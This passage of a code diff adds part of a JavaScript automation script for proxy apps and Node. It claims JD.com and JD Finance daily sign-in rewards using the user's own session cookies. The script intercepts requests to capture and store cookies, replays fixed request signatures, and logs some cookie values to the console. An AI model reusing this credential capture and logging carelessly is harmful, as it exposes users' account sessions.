headers: { + Cookie: KEY, + } + }; + $nobyda.get(JDMCUrl, function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data) + if (data.match(/(\"name\":)/)) { + console.log("\n" + "京东商城-魔方签到成功 " + Details) + merge.JDCube.success = 1 + if (data.match(/(\"name\":\"京豆\")/)) { + merge.JDCube.bean = cc.result.lotteryInfo.quantity || 0 + merge.JDCube.notify = `京东商城-魔方: 成功, 明细: ${merge.JDCube.bean || `无`}京豆 🐶` + } else { + merge.JDCube.notify = `京东商城-魔方: 成功, 明细: ${cc.result.lotteryInfo.name || `未知`} 🎉` + } + } else { + console.log("\n" + "京东商城-魔方签到失败 " + Details) + merge.JDCube.fail = 1 + if (data.match(/(一闪而过|已签到|已领取)/)) { + merge.JDCube.notify = "京东商城-魔方: 失败, 原因: 无机会 ⚠️" + } else if (data.match(/(不存在|已结束)/)) { + merge.JDCube.notify = "京东商城-魔方: 失败, 原因: 活动已结束 ⚠️" + } else if (data.match(/(\"code\":3)/)) { + merge.JDCube.notify = "京东商城-魔方: 失败, 原因: Cookie失效‼️" + } else { + merge.JDCube.notify = "京东商城-魔方: 失败, 原因: 未知 ⚠️" + } + } + } + } catch (eor) { + $nobyda.AnError("京东商城-魔方", "JDCube", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JingDongSubsidy(s) { + merge.subsidy = {}; + return new Promise(resolve => { + if (disable("subsidy")) return resolve() + setTimeout(() => { + const subsidyUrl = { + url: 'https://ms.jr.jd.com/gw/generic/uc/h5/m/signIn7', + headers: { + Referer: "https://active.jd.com/forever/cashback/index", + Cookie: KEY + } + }; + $nobyda.get(subsidyUrl, function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data) + if (cc.resultCode == 0 && cc.resultData.data && cc.resultData.data.thisAmount) { + console.log("\n" + "京东商城-金贴签到成功 " + Details) + merge.subsidy.subsidy = cc.resultData.data.thisAmountStr + merge.subsidy.notify = `京东商城-金贴: 成功, 明细: ${merge.subsidy.subsidy||`无`}金贴 💰` + merge.subsidy.success = 1 + } else { + console.log("\n" + "京东商城-金贴签到失败 " + Details) + merge.subsidy.fail = 1 + if (data.match(/已存在|"thisAmount":0/)) { + merge.subsidy.notify = "京东商城-金贴: 失败, 原因: 无金贴 ⚠️" + } else if (data.match(/请先登录/)) { + merge.subsidy.notify = "京东商城-金贴: 失败, 原因: Cookie失效‼️" + } else { + const msg = data.split(/\"msg\":\"([\u4e00-\u9fa5].+?)\"/)[1]; + merge.subsidy.notify = `京东商城-金贴: 失败, ${msg||`原因: 未知`} ⚠️` + } + } + } + } catch (eor) { + $nobyda.AnError("京东商城-金贴", "subsidy", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JingRongDoll(s, key, title, code, type, num, award, belong) { + merge[key] = {}; + return new Promise(resolve => { + if (disable(key)) return resolve() + setTimeout(() => { + const DollUrl = { + url: "https://nu.jr.jd.com/gw/generic/jrm/h5/m/process", + headers: { + Cookie: KEY + }, + body: `reqData=${encodeURIComponent(`{"actCode":"${code}","type":${type?type:`3`}${code=='F68B2C3E71'?`,"frontParam":{"belong":"${belong}"}`:code==`1DF13833F7`?`,"frontParam":{"channel":"JR","belong":4}`:``}}`)}` + }; + $nobyda.post(DollUrl, async function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + var cc = JSON.parse(data) + const Details = LogDetails ? "response:\n" + data : ''; + if (cc.resultCode == 0) { + if (cc.resultData.data.businessData != null) { + console.log(`\n${title}查询成功 ${Details}`) + if (cc.resultData.data.businessData.pickStatus == 2) { + if (data.match(/\"rewardPrice\":\"\d.*?\"/)) { + const JRDoll_bean = data.match(/\"rewardPrice\":\"(\d.*?)\"/)[1] + const JRDoll_type = data.match(/\"rewardName\":\"金贴奖励\"/) ? true : false + await JingRongDoll(s, key, title, code, '4', JRDoll_bean, JRDoll_type) + } else { + merge[key].success = 1 + merge[key].notify = `${title}: 成功, 明细: 无奖励 🐶` + } + } else if (code == 'F68B2C3E71' || code == '1DF13833F7') { + if (!data.match(/"businessCode":"30\dss?q"/)) { + merge[key].success = 1 + const ct = data.match(/\"count\":\"?(\d.*?)\"?,/) + if (code == 'F68B2C3E71' && belong == 'xianjin') { + merge[key].Money = ct ? ct[1] > 9 ? `0.${ct[1]}` : `0.0${ct[1]}` : 0 + merge[key].notify = `${title}: 成功, 明细: ${merge[key].Money||`无`}现金 💰` + } else if (code == 'F68B2C3E71' && belong == 'jingdou') { + merge[key].bean = ct ? ct[1] : 0; + merge[key].notify = `${title}: 成功, 明细: ${merge[key].bean||`无`}京豆 🐶` + } else if (code == '1DF13833F7') { + merge[key].subsidy = ct ? ct[1] : 0; + merge[key].notify = `${title}: 成功, 明细: ${merge[key].subsidy||`无`}金贴 💰` + } + } else { + const es = cc.resultData.data.businessMsg + const ep = cc.resultData.data.businessData.businessMsg + const tp = data.match(/已领取|300ss?q/) ? `已签过` : `${ep||es||cc.resultMsg||`未知`}` + merge[key].notify = `${title}: 失败, 原因: ${tp} ⚠️` + merge[key].fail = 1 + } + } else { + merge[key].notify = `${title}: 失败, 原因: 已签过 ⚠️`; + merge[key].fail = 1 + } + } else if (cc.resultData.data.businessCode == 200) { + console.log(`\n${title}签到成功 ${Details}`) + if (!award) { + merge[key].bean = num ? num.match(/\d+/)[0] : 0 + } else { + merge[key].subsidy = num || 0 + } + merge[key].success = 1 + merge[key].notify = `${title}: 成功, 明细: ${(award?num:merge[key].bean)||`无`}${award?`金贴 💰`:`京豆 🐶`}` + } else { + console.log(`\n${title}领取异常 ${Details}`) + if (num) console.log(`\n${title} 请尝试手动领取, 预计可得${num}${award?`金贴`:`京豆`}: \nhttps://uf1.jr.jd.com/up/redEnvelopes/index.html?actCode=${code}\n`); + merge[key].fail = 1; + merge[key].notify = `${title}: 失败, 原因: 领取异常 ⚠️`; + } + } else { + console.log(`\n${title}签到失败 ${Details}`) + const redata = typeof(cc.resultData) == 'string' ? cc.resultData : '' + merge[key].notify = `${title}: 失败, ${cc.resultCode==3?`原因: Cookie失效‼️`:`${redata||'原因: 未知 ⚠️'}`}` + merge[key].fail = 1; + } + } + } catch (eor) { + $nobyda.AnError(title, key, eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JingDongGetCash(s) { + merge.JDGetCash = {}; + return new Promise(resolve => { + if (disable("JDGetCash")) return resolve() + setTimeout(() => { + const GetCashUrl = { + url: 'https://api.m.jd.com/client.action?functionId=cash_sign&body=%7B%22remind%22%3A0%2C%22inviteCode%22%3A%22%22%2C%22type%22%3A0%2C%22breakReward%22%3A0%7D&client=apple&clientVersion=9.0.8&openudid=1fce88cd05c42fe2b054e846f11bdf33f016d676&sign=7e2f8bcec13978a691567257af4fdce9&st=1596954745073&sv=111', + headers: { + Cookie: KEY, + } + }; + $nobyda.get(GetCashUrl, function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const cc = JSON.parse(data); + const Details = LogDetails ? "response:\n" + data : ''; + if (cc.data.success && cc.data.result) { + console.log("\n" + "京东商城-现金签到成功 " + Details) + merge.JDGetCash.success = 1 + merge.JDGetCash.Money = cc.data.result.signCash || 0 + merge.JDGetCash.notify = `京东商城-现金: 成功, 明细: ${cc.data.result.signCash||`无`}现金 💰` + } else { + console.log("\n" + "京东商城-现金签到失败 " + Details) + merge.JDGetCash.fail = 1 + if (data.match(/\"bizCode\":201|已经签过/)) { + merge.JDGetCash.notify = "京东商城-现金: 失败, 原因: 已签过 ⚠️" + } else if (data.match(/\"code\":300|退出登录/)) { + merge.JDGetCash.notify = "京东商城-现金: 失败, 原因: Cookie失效‼️" + } else { + merge.JDGetCash.notify = "京东商城-现金: 失败, 原因: 未知 ⚠️" + } + } + } + } catch (eor) { + $nobyda.AnError("京东商城-现金", "JDGetCash", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JingDongStore(s) { + merge.JDGStore = {}; + return new Promise(resolve => { + if (disable("JDGStore")) return resolve() + setTimeout(() => { + $nobyda.get({ + url: 'https://api.m.jd.com/api?appid=jdsupermarket&functionId=smtg_sign&clientVersion=8.0.0&client=m&body=%7B%7D', + headers: { + Cookie: KEY, + Origin: `https://jdsupermarket.jd.com` + } + }, (error, response, data) => { + try { + if (error) throw new Error(error); + const cc = JSON.parse(data); + const Details = LogDetails ? "response:\n" + data : ''; + if (cc.data && cc.data.success === true && cc.data.bizCode === 0) { + console.log(`\n京东商城-超市签到成功 ${Details}`) + merge.JDGStore.success = 1 + merge.JDGStore.bean = cc.data.result.jdBeanCount || 0 + merge.JDGStore.notify = `京东商城-超市: 成功, 明细: ${merge.JDGStore.bean||`无`}京豆 🐶` + } else { + if (!cc.data) cc.data = {} + console.log(`\n京东商城-超市签到失败 ${Details}`) + const tp = cc.data.bizCode == 811 ? `已签过` : cc.data.bizCode == 300 ? `Cookie失效` : `${cc.data.bizMsg||`未知`}` + merge.JDGStore.notify = `京东商城-超市: 失败, 原因: ${tp}${cc.data.bizCode==300?`‼️`:` ⚠️`}` + merge.JDGStore.fail = 1 + } + } catch (eor) { + $nobyda.AnError("京东商城-超市", "JDGStore", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JDSecKilling(s) { //领券中心 + merge.JDSecKill = {}; + return new Promise((resolve, reject) => { + if (disable("JDSecKill")) return reject(); + setTimeout(() => { + $nobyda.post({ + url: 'https://api.m.jd.com/client.action', + headers: { + Cookie: KEY, + Origin: 'https://h5.m.jd.com' + }, + body: 'functionId=homePageV2&appid=SecKill2020' + }, (error, response, data) => { + try { + if (error) throw new Error(error); + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data); + if (cc.code == 203 || cc.code == 3 || cc.code == 101) { + merge.JDSecKill.notify = `京东秒杀-红包: 失败, 原因: Cookie失效‼️`; + } else if (cc.result && cc.result.projectId && cc.result.taskId) { + console.log(`\n京东秒杀-红包查询成功 ${Details}`) + return resolve({ + projectId: cc.result.projectId, + taskId: cc.result.taskId + }) + } else { + merge.JDSecKill.notify = `京东秒杀-红包: 失败, 暂无有效活动 ⚠️`; + } + merge.JDSecKill.fail = 1; + console.log(`\n京东秒杀-红包查询失败 ${Details}`) + reject() + } catch (eor) { + $nobyda.AnError("京东秒杀-查询", "JDSecKill", eor, response, data) + reject() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }).then(async (id) => { + await new Promise(resolve => { + $nobyda.post({ + url: 'https://api.m.jd.com/client.action', + headers: { + Cookie: KEY, + Origin: 'https://h5.m.jd.com' + }, + body: `functionId=doInteractiveAssignment&body=%7B%22encryptProjectId%22%3A%22${id.projectId}%22%2C%22encryptAssignmentId%22%3A%22${id.taskId}%22%2C%22completionFlag%22%3Atrue%7D&client=wh5&appid=SecKill2020` + }, (error, response, data) => { + try { + if (error) throw new Error(error); + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data); + if (cc.code == 0 && cc.subCode == 0) { + console.log(`\n京东秒杀-红包签到成功 ${Details}`); + const qt = data.match(/"discount":(\d.*?),/); + merge.JDSecKill.success = 1; + merge.JDSecKill.Cash = qt ? qt[1] : 0; + merge.JDSecKill.notify = `京东秒杀-红包: 成功, 明细: ${merge.JDSecKill.Cash||`无`}红包 🧧`; + } else { + console.log(`\n京东秒杀-红包签到失败 ${Details}`); + merge.JDSecKill.fail = 1; + merge.JDSecKill.notify = `京东秒杀-红包: 失败, ${cc.subCode==103?`原因: 已领取`:cc.msg?cc.msg:`原因: 未知`} ⚠️`; + } + } catch (eor) { + $nobyda.AnError("京东秒杀-领取", "JDSecKill", eor, response, data); + } finally { + resolve(); + } + }) + }) + }, () => {}); +} + +function TotalSteel() { + merge.TotalSteel = {}; + return new Promise(resolve => { + if (disable("TSteel")) return resolve() + $nobyda.get({ + url: 'https://coin.jd.com/m/gb/getBaseInfo.html', + headers: { + Cookie: KEY + } + }, (error, response, data) => { + try { + if (error) throw new Error(error); + const Details = LogDetails ? "response:\n" + data : ''; + if (data.match(/(\"gbBalance\":\d+)/)) { + console.log("\n" + "京东-总钢镚查询成功 " + Details) + const cc = JSON.parse(data) + merge.TotalSteel.TSteel = cc.gbBalance + } else { + console.log("\n" + "京东-总钢镚查询失败 " + Details) + } + } catch (eor) { + $nobyda.AnError("账户钢镚-查询", "TotalSteel", eor, response, data) + } finally { + resolve() + } + }) + if (out) setTimeout(resolve, out) + }); +} + +function getEid(ss, title) { + return new Promise(resolve => { + const options = { + url: `https://gia.jd.com/fcf.html?a=${ss.a}`, + body: `d=${ss.d}`, + headers: { + "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8" + } + } + $nobyda.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`\n${title} 登录: API查询请求失败 ‼️‼️`) + throw new Error(err); + } else { + if (data.indexOf("*_*") > 0) { + data = data.split("*_*", 2); + data = JSON.parse(data[1]); + eid = data.eid + } else { + console.log(`京豆api返回数据为空,请检查自身原因`) + } + } + } catch (eor) { + $nobyda.AnError(eor, resp); + } finally { + resolve(data); + } + }) + }) +} + +function TotalBean() { + merge.TotalBean = {}; + return new Promise(resolve => { + if (disable("Qbear")) return resolve() + $nobyda.get({ + url: 'https://me-api.jd.com/user_new/info/GetJDUserInfoUnion', + headers: { + Cookie: KEY + } + }, (error, response, data) => { + try { + if (error) throw new Error(error); + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data) + if (cc.msg == 'success' && cc.retcode == 0) { + merge.TotalBean.nickname = cc.data.userInfo.baseInfo.nickname || "" + merge.TotalBean.Qbear = cc.data.assetInfo.beanNum || 0 + $nobyda.headUrl = cc.data.userInfo.baseInfo.headImageUrl || "" + console.log(`\n京东-总京豆查询成功 ${Details}`) + } else { + const name = decodeURIComponent(KEY.split(/pt_pin=(.+?);/)[1] || ''); + merge.TotalBean.nickname = cc.retcode == 1001 ? `${name} (CK失效‼️)` : ""; + console.log(`\n京东-总京豆查询失败 ${Details}`) + } + } catch (eor) { + $nobyda.AnError("账户京豆-查询", "TotalBean", eor, response, data) + } finally { + resolve() + } + }) + if (out) setTimeout(resolve, out) + }); +} + +function TotalCash() { + merge.TotalCash = {}; + return new Promise(resolve => { + if (disable("TCash")) return resolve() + $nobyda.post({ + url: 'https://api.m.jd.com/client.action?functionId=myhongbao_balance', + headers: { + Cookie: KEY + }, + body: "body=%7B%22fp%22%3A%22-1%22%2C%22appToken%22%3A%22apphongbao_token%22%2C%22childActivityUrl%22%3A%22-1%22%2C%22country%22%3A%22cn%22%2C%22openId%22%3A%22-1%22%2C%22childActivityId%22%3A%22-1%22%2C%22applicantErp%22%3A%22-1%22%2C%22platformId%22%3A%22appHongBao%22%2C%22isRvc%22%3A%22-1%22%2C%22orgType%22%3A%222%22%2C%22activityType%22%3A%221%22%2C%22shshshfpb%22%3A%22-1%22%2C%22platformToken%22%3A%22apphongbao_token%22%2C%22organization%22%3A%22JD%22%2C%22pageClickKey%22%3A%22-1%22%2C%22platform%22%3A%221%22%2C%22eid%22%3A%22-1%22%2C%22appId%22%3A%22appHongBao%22%2C%22childActiveName%22%3A%22-1%22%2C%22shshshfp%22%3A%22-1%22%2C%22jda%22%3A%22-1%22%2C%22extend%22%3A%22-1%22%2C%22shshshfpa%22%3A%22-1%22%2C%22activityArea%22%3A%22-1%22%2C%22childActivityTime%22%3A%22-1%22%7D&client=apple&clientVersion=8.5.0&d_brand=apple&networklibtype=JDNetworkBaseAF&openudid=1fce88cd05c42fe2b054e846f11bdf33f016d676&sign=fdc04c3ab0ee9148f947d24fb087b55d&st=1581245397648&sv=120" + }, (error, response, data) => { + try { + if (error) throw new Error(error); + const Details = LogDetails ? "response:\n" + data : ''; + if (data.match(/(\"totalBalance\":\d+)/)) { + console.log("\n" + "京东-总红包查询成功 " + Details) + const cc = JSON.parse(data) + merge.TotalCash.TCash = cc.totalBalance + } else { + console.log("\n" + "京东-总红包查询失败 " + Details) + } + } catch (eor) { + $nobyda.AnError("账户红包-查询", "TotalCash", eor, response, data) + } finally { + resolve() + } + }) + if (out) setTimeout(resolve, out) + }); +} + +function TotalSubsidy() { + merge.TotalSubsidy = {}; + return new Promise(resolve => { + if (disable("TotalSubsidy")) return resolve() + $nobyda.get({ + url: 'https://ms.jr.jd.com/gw/generic/uc/h5/m/mySubsidyBalance', + headers: { + Cookie: KEY, + Referer: 'https://active.jd.com/forever/cashback/index?channellv=wojingqb' + } + }, (error, response, data) => { + try { + if (error) throw new Error(error); + const cc = JSON.parse(data) + const Details = LogDetails ? "response:\n" + data : ''; + if (cc.resultCode == 0 && cc.resultData && cc.resultData.data) { + console.log("\n京东-总金贴查询成功 " + Details) + merge.TotalSubsidy.TSubsidy = cc.resultData.data.balance || 0 + } else { + console.log("\n京东-总金贴查询失败 " + Details) + } + } catch (eor) { + $nobyda.AnError("账户金贴-查询", "TotalSubsidy", eor, response, data) + } finally { + resolve() + } + }) + if (out) setTimeout(resolve, out) + }); +} + +function TotalMoney() { + merge.TotalMoney = {}; + return new Promise(resolve => { + if (disable("TotalMoney")) return resolve() + $nobyda.get({ + url: 'https://api.m.jd.com/client.action?functionId=cash_exchangePage&body=%7B%7D&build=167398&client=apple&clientVersion=9.1.9&openudid=1fce88cd05c42fe2b054e846f11bdf33f016d676&sign=762a8e894dea8cbfd91cce4dd5714bc5&st=1602179446935&sv=102', + headers: { + Cookie: KEY + } + }, (error, response, data) => { + try { + if (error) throw new Error(error); + const cc = JSON.parse(data) + const Details = LogDetails ? "response:\n" + data : ''; + if (cc.code == 0 && cc.data && cc.data.bizCode == 0 && cc.data.result) { + console.log("\n京东-总现金查询成功 " + Details) + merge.TotalMoney.TMoney = cc.data.result.totalMoney || 0 + } else { + console.log("\n京东-总现金查询失败 " + Details) + } + } catch (eor) { + $nobyda.AnError("账户现金-查询", "TotalMoney", eor, response, data) + } finally { + resolve() + } + }) + if (out) setTimeout(resolve, out) + }); +} + +function disable(Val, name, way) { + const read = $nobyda.read("JD_DailyBonusDisables") + const annal = $nobyda.read("JD_Crash_" + Val) + if (annal && way == 1 && boxdis) { + var Crash = $nobyda.write("", "JD_Crash_" + Val) + if (read) { + if (read.indexOf(Val) == -1) { + var Crash = $nobyda.write(`${read},${Val}`, "JD_DailyBonusDisables") + console.log(`\n${name}-触发自动禁用 ‼️`) + merge[Val].notify = `${name}: 崩溃, 触发自动禁用 ‼️` + merge[Val].error = 1 + $nobyda.disable = 1 + } + } else { + var Crash = $nobyda.write(Val, "JD_DailyBonusDisables") + console.log(`\n${name}-触发自动禁用 ‼️`) + merge[Val].notify = `${name}: 崩溃, 触发自动禁用 ‼️` + merge[Val].error = 1 + $nobyda.disable = 1 + } + return true + } else if (way == 1 && boxdis) { + var Crash = $nobyda.write(name, "JD_Crash_" + Val) + } else if (way == 2 && annal) { + var Crash = $nobyda.write("", "JD_Crash_" + Val) + } + if (read && read.indexOf(Val) != -1) { + return true + } else { + return false + } +} + +function Wait(readDelay, ini) { + if (!readDelay || readDelay === '0') return 0 + if (typeof(readDelay) == 'string') { + var readDelay = readDelay.replace(/"|"|'|'/g, ''); //prevent novice + if (readDelay.indexOf('-') == -1) return parseInt(readDelay) || 0; + const raw = readDelay.split("-").map(Number); + const plan = parseInt(Math.random() * (raw[1] - raw[0] + 1) + raw[0], 10); + if (ini) console.log(`\n初始化随机延迟: 最小${raw[0]/1000}秒, 最大${raw[1]/1000}秒`); + // else console.log(`\n预计等待: ${(plan / 1000).toFixed(2)}秒`); + return ini ? readDelay : plan + } else if (typeof(readDelay) == 'number') { + return readDelay > 0 ? readDelay : 0 + } else return 0 +} + +function CookieMove(oldCk1, oldCk2, oldKey1, oldKey2, newKey) { + let update; + const move = (ck, del) => { + console.log(`京东${del}开始迁移!`); + update = CookieUpdate(null, ck).total; + update = $nobyda.write(JSON.stringify(update, null, 2), newKey); + update = $nobyda.write("", del); + } + if (oldCk1) { + const write = move(oldCk1, oldKey1); + } + if (oldCk2) { + const write = move(oldCk2, oldKey2); + } +} + +function checkFormat(value) { //check format and delete duplicates + let n, k, c = {}; + return value.reduce((t, i) => { + k = ((i.cookie || '').match(/(pt_key|pt_pin)=.+?;/g) || []).sort(); + if (k.length == 2) { + if ((n = k[1]) && !c[n]) { + i.userName = i.userName ? i.userName : decodeURIComponent(n.split(/pt_pin=(.+?);/)[1]); + i.cookie = k.join('') + if (i.jrBody && !i.jrBody.includes('reqData=')) { + console.log(`异常钢镚Body已过滤: ${i.jrBody}`) + delete i.jrBody; + } + c[n] = t.push(i); + } + } else { + console.log(`异常京东Cookie已过滤: ${i.cookie}`) + } + return t; + }, []) +} + +function CookieUpdate(oldValue, newValue, path = 'cookie') { + let item, type, name = (oldValue || newValue || '').split(/pt_pin=(.+?);/)[1]; + let total = $nobyda.read('CookiesJD'); + try { + total = checkFormat(JSON.parse(total || '[]')); + } catch (e) { + $nobyda.notify("京东签到", "", "Cookie JSON格式不正确, 即将清空\n可前往日志查看该数据内容!"); + console.log(`京东签到Cookie JSON格式异常: ${e.message||e}\n旧数据内容: ${total}`); + total = []; + } + for (let i = 0; i < total.length; i++) { + if (total[i].cookie && new RegExp(`pt_pin=${name};`).test(total[i].cookie)) { + item = i; + break; + } + } + if (newValue && item !== undefined) { + type = total[item][path] === newValue ? -1 : 2; + total[item][path] = newValue; + item = item + 1; + } else if (newValue && path === 'cookie') { + total.push({ + cookie: newValue + }); + type = 1; + item = total.length; + } + return { + total: checkFormat(total), + type, //-1: same, 1: add, 2:update + item, + name: decodeURIComponent(name) + }; +} + +function GetCookie() { + const req = $request; + if (req.method != 'OPTIONS' && req.headers) { + const CV = (req.headers['Cookie'] || req.headers['cookie'] || ''); + const ckItems = CV.match(/(pt_key|pt_pin)=.+?;/g); + if (/^https:\/\/(me-|)api(\.m|)\.jd\.com\/(client\.|user_new)/.test(req.url)) { + if (ckItems && ckItems.length == 2) { + const value = CookieUpdate(null, ckItems.join('')) + if (value.type !== -1) { + const write = $nobyda.write(JSON.stringify(value.total, null, 2), "CookiesJD") + $nobyda.notify(`用户名: ${value.name}`, ``, `${value.type==2?`更新`:`写入`}京东 [账号${value.item}] Cookie${write?`成功 🎉`:`失败 ‼️`}`) + } else { + console.log(`\n用户名: ${value.name}\n与历史京东 [账号${value.item}] Cookie相同, 跳过写入 ⚠️`) + } + } else { + throw new Error("写入Cookie失败, 关键值缺失\n可能原因: 非网页获取 ‼️"); + } + } else if (/^https:\/\/ms\.jr\.jd\.com\/gw\/generic\/hy\/h5\/m\/appSign\?/.test(req.url) && req.body) { + const value = CookieUpdate(CV, req.body, 'jrBody'); + if (value.type) { + const write = $nobyda.write(JSON.stringify(value.total, null, 2), "CookiesJD") + $nobyda.notify(`用户名: ${value.name}`, ``, `获取京东 [账号${value.item}] 钢镚Body${write?`成功 🎉`:`失败 ‼️`}`) + } else { + throw new Error("写入钢镚Body失败\n未获取该账号Cookie或关键值缺失‼️"); + } + } else if (req.url === 'http://www.apple.com/') { + throw new Error("类型错误, 手动运行请选择上下文环境为Cron ⚠️"); + } + } else if (!req.headers) { + throw new Error("写入Cookie失败, 请检查匹配URL或配置内脚本类型 ⚠️"); + } +} + +// Modified from yichahucha +function nobyda() { + const start = Date.now() + const isRequest = typeof $request != "undefined" + const isSurge = typeof $httpClient != "undefined" + const isQuanX = typeof $task != "undefined" + const isLoon = typeof $loon != "undefined" + const isJSBox = typeof $app != "undefined" && typeof $http != "undefined" + const isNode = typeof require == "function" && !isJSBox; + const NodeSet = 'CookieSet.json' + const node = (() => { + if (isNode) { + const request = require('request'); + const fs = require("fs"); + const path = require("path"); + return ({ + request, + fs, + path + }) + } else { + return (null) + } + })() + const notify = (title, subtitle, message, rawopts) => { + const Opts = (rawopts) => { //Modified from https://github.com/chavyleung/scripts/blob/master/Env.js + if (!rawopts) return rawopts + if (typeof rawopts === 'string') { + if (isLoon) return rawopts + else if (isQuanX) return { + 'open-url': rawopts + } + else if (isSurge) return { + url: rawopts + } + else return undefined + } else if (typeof rawopts === 'object') { + if (isLoon) { + let openUrl = rawopts.openUrl || rawopts.url || rawopts['open-url'] + let mediaUrl = rawopts.mediaUrl || rawopts['media-url'] + return { + openUrl, + mediaUrl + } + } else if (isQuanX) { + let openUrl = rawopts['open-url'] || rawopts.url || rawopts.openUrl + let mediaUrl = rawopts['media-url'] || rawopts.mediaUrl + return { + 'open-url': openUrl, + 'media-url': mediaUrl + } + } else if (isSurge) { + let openUrl = rawopts.url || rawopts.openUrl || rawopts['open-url'] + return { + url: openUrl + } + } + } else { + return undefined + } + } + console.log(`${title}\n${subtitle}\n${message}`) + if (isQuanX) $notify(title, subtitle, message, Opts(rawopts)) + if (isSurge) $notification.post(title, subtitle, message, Opts(rawopts)) + if (isJSBox) $push.schedule({ + title: title, + body: subtitle ? subtitle + "\n" + message : message + }) + } + const write = (value, key) => { + if (isQuanX) return $prefs.setValueForKey(value, key) + if (isSurge) return $persistentStore.write(value, key) + if (isNode) { + try { + if (!node.fs.existsSync(node.path.resolve(__dirname, NodeSet))) + node.fs.writeFileSync(node.path.resolve(__dirname, NodeSet), JSON.stringify({})); + const dataValue = JSON.parse(node.fs.readFileSync(node.path.resolve(__dirname, NodeSet))); + if (value) dataValue[key] = value; + if (!value) delete dataValue[key]; + return node.fs.writeFileSync(node.path.resolve(__dirname, NodeSet), JSON.stringify(dataValue)); + } catch (er) { + return AnError('Node.js持久化写入', null, er); + } + } + if (isJSBox) { + if (!value) return $file.delete(`shared://${key}.txt`); + return $file.write({ + data: $data({ + string: value + }), + path: `shared://${key}.txt` + }) + } + } + const read = (key) => { + if (isQuanX) return $prefs.valueForKey(key) + if (isSurge) return $persistentStore.read(key) + if (isNode) { + try { + if (!node.fs.existsSync(node.path.resolve(__dirname, NodeSet))) return null; + const dataValue = JSON.parse(node.fs.readFileSync(node.path.resolve(__dirname, NodeSet))) + return dataValue[key] + } catch (er) { + return AnError('Node.js持久化读取', null, er) + } + } + if (isJSBox) { + if (!$file.exists(`shared://${key}.txt`)) return null; + return $file.read(`shared://${key}.txt`).string + } + } + const adapterStatus = (response) => { + if (response) { + if (response.status) { + response["statusCode"] = response.status + } else if (response.statusCode) { + response["status"] = response.statusCode + } + } + return response + } + const get = (options, callback) => { + options.headers['User-Agent'] = 'JD4iPhone/167169 (iPhone; iOS 13.4.1; Scale/3.00)' + if (isQuanX) { + if (typeof options == "string") options = { + url: options + } + options["method"] = "GET" + //options["opts"] = { + // "hints": false + //} + $task.fetch(options).then(response => { + callback(null, adapterStatus(response), response.body) + }, reason => callback(reason.error, null, null)) + } + if (isSurge) { + options.headers['X-Surge-Skip-Scripting'] = false + $httpClient.get(options, (error, response, body) => { + callback(error, adapterStatus(response), body) + }) + } + if (isNode) { + node.request(options, (error, response, body) => { + callback(error, adapterStatus(response), body) + }) + } + if (isJSBox) { + if (typeof options == "string") options = { + url: options + } + options["header"] = options["headers"] + options["handler"] = function(resp) { + let error = resp.error; + if (error) error = JSON.stringify(resp.error) + let body = resp.data; + if (typeof body == "object") body = JSON.stringify(resp.data); + callback(error, adapterStatus(resp.response), body) + }; + $http.get(options); + } + } + const post = (options, callback) => { + options.headers['User-Agent'] = 'JD4iPhone/167169 (iPhone; iOS 13.4.1; Scale/3.00)' + if (options.body) options.headers['Content-Type'] = 'application/x-www-form-urlencoded' + if (isQuanX) { + if (typeof options == "string") options = { + url: options + } + options["method"] = "POST" + //options["opts"] = { + // "hints": false + //} + $task.fetch(options).then(response => { + callback(null, adapterStatus(response), response.body) + }, reason => callback(reason.error, null, null)) + } + if (isSurge) { + options.headers['X-Surge-Skip-Scripting'] = false + $httpClient.post(options, (error, response, body) => { + callback(error, adapterStatus(response), body) + }) + } + if (isNode) { + node.request.post(options, (error, response, body) => { + callback(error, adapterStatus(response), body) + }) + } + if (isJSBox) { + if (typeof options == "string") options = { + url: options + } + options["header"] = options["headers"] + options["handler"] = function(resp) { + let error = resp.error; + if (error) error = JSON.stringify(resp.error) + let body = resp.data; + if (typeof body == "object") body = JSON.stringify(resp.data) + callback(error, adapterStatus(resp.response), body) + } + $http.post(options); + } + } + const AnError = (name, keyname, er, resp, body) => { + if (typeof(merge) != "undefined" && keyname) { + if (!merge[keyname].notify) { + merge[keyname].notify = `${name}: 异常, 已输出日志 ‼️` + } else { + merge[keyname].notify += `\n${name}: 异常, 已输出日志 ‼️ (2)` + } + merge[keyname].error = 1 + } + return console.log(`\n‼️${name}发生错误\n‼️名称: ${er.name}\n‼️描述: ${er.message}${JSON.stringify(er).match(/\"line\"/)?`\n‼️行列: ${JSON.stringify(er)}`:``}${resp&&resp.status?`\n‼️状态: ${resp.status}`:``}${body?`\n‼️响应: ${resp&&resp.status!=503?body:`Omit.`}`:``}`) + } + const time = () => { + const end = ((Date.now() - start) / 1000).toFixed(2) + return console.log('\n签到用时: ' + end + ' 秒') + } + const done = (value = {}) => { + if (isQuanX) return $done(value) + if (isSurge) isRequest ? $done(value) : $done() + } + return { + AnError, + isRequest, + isJSBox, + isSurge, + isQuanX, + isLoon, + isNode, + notify, + write, + read, + get, + post, + time, + done + } +}; +// md5 +!function(n){function t(n,t){var r=(65535&n)+(65535&t);return(n>>16)+(t>>16)+(r>>16)<<16|65535&r}function r(n,t){return n<>>32-t}function e(n,e,o,u,c,f){return t(r(t(t(e,n),t(u,f)),c),o)}function o(n,t,r,o,u,c,f){return e(t&r|~t&o,n,t,u,c,f)}function u(n,t,r,o,u,c,f){return 